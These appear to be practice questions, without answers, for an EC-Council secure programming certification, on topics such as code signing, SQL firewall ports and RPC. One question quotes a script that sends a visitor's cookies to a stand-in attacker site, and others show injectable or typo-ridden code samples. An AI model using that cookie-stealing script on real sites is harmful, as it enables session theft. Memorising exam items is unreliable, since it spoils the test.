EC-COUNCIL EC-Council Certified Secure Programmer v2 - 312-92 Exam Practice Test

Why would a software development firm want to fix any issues with a program at the design stage as opposed to fixing issues with a program through a patch release?

What will the following command accomplish?
c:\signtool12winnt\signtool -L -d a:\tmpcert:a:\cert

Gloria is the lead operation manager for a movie production company in Las Vegas. She has been asked with ensuring that the new movie created by the company will fit on one side of a DVD disk that will be sold to the public. If the movie mentioned is a full-length production and must fit on one side of the disk, what level of compression must Gloria use?

Charles is writing a script in PERL for a website he is working on. The only problem he is having is that part of his script needs to call a file that a normal user does not have permission to access. What PERL command could Charles use to elevate the current user's permission so that the file could be called?

Gerald is a web security consultant for Protectors International. Gerald's main responsibility is to search the Internet for malicious and deceitful sites that the public should be aware of.
Gerald was tipped off about a particular site and is now looking over its source code in a protected environment. Gerald finds the following snippet particularly interesting. What has Gerald stumbled upon?
<script>
document.write('<form name=hack method=post action="http://
scarysite.com/getit.php">
<input type=hidden name=sid value="' + escape(document.cookie) +
'">');
document.hack.submit();
</script>

Clay is a SQL dba working for Integrated Solutions Inc., a graphics design company in Miami. Clay administers 10 SQL servers at the company's headquarters. Clay wants to ensure that all SQL traffic stays within the internal network and no SQL traffic from the outside can get into the internal network. What ports should Clay tell the network team to close off at the firewall to disallow all incoming and outgoing SQL traffic?

After learning from an external auditor that his code was susceptible to attack, George decided to rewrite some of his code to look like the following. What is George preventing by changing the code?
public voif doContent(...) {
...
String s;
if ((s = getUsernameByID("userid")) != null) {
s = StringUtils.encodeToHTML(s, 50);
response.write("<br>Applicant:<u>" + s +
"</u>");
}
...
}

When making a RPC function call on the local machine, what function should be used?

What vulnerability is the following code susceptible to?
CREATE OR REPLACE PROCEDURE demo (name in VARCHAR2) as
cursor_name INTEGER;
rows_processed INTEGER;
sql VARCHAR2(150);
code VARCHAR2(2);
BEGIN
...
sql := 'SELECT postal_code FROM states WHERE state_name = '''
|| '''';
cursor_name := dbms_sql.open_cursor;
DBMS_SQL.PARSE(cursor_name, sql, DBMS_SQL.NATIVE);
DBMS_SQL.DEFINE_COLUMN(cursor_name, 1, code, 10);
row_processed:= DMBS_SQL.EXECUTIVE(cursor_name);
DBMS_SQL.CLOSE_CURSOR(cursor_name);

Fred is planning on using the windows socket application ClientApp.exe program to create a client-side application that his employees will use. This program will access backend programs from two different remote sites over WAN connections. If Fred does not make any modifications to the ClientApp.exe default settings, what port must he have the network engineer open in order for the application to communicate?